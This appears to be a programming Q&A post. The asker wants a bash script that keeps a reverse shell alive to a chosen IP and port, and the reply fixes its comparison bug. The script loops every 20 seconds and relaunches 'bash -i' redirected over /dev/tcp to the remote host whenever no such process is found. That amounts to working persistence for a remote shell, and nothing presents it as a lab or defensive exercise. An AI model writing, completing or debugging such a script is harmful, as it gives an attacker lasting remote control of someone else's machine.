Search code examples
linuxbashshellshps

Error "Integer Expression Expected" in Bash script


So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.

What am I doing wrong? My code is below.

#!/bin/bash
#A small program designed to establish and keep a reverse shell open


IP=""               #Insert your IP here
PORT=""             #Insert the Port you're listening on here. 

while(true); do
        if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
        then
                echo "Process not found, launching reverse shell to $IP on port $PORT"
                bash -i >& /dev/tcp/$IP/$PORT 0>&1
                sleep 20
        else
                echo "Process found, sleeping for 20 seconds..."
                ps -ef | grep "bash -i" | grep -v "grep" | wc -l
                sleep 20


        fi


done

Solution

  • There is a small change required in your code. You have to use tilt "`" instead of single quotes "''" inside if.

    if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l`  -eq 0 ]
    

    This worked for me. Hope it helps you too.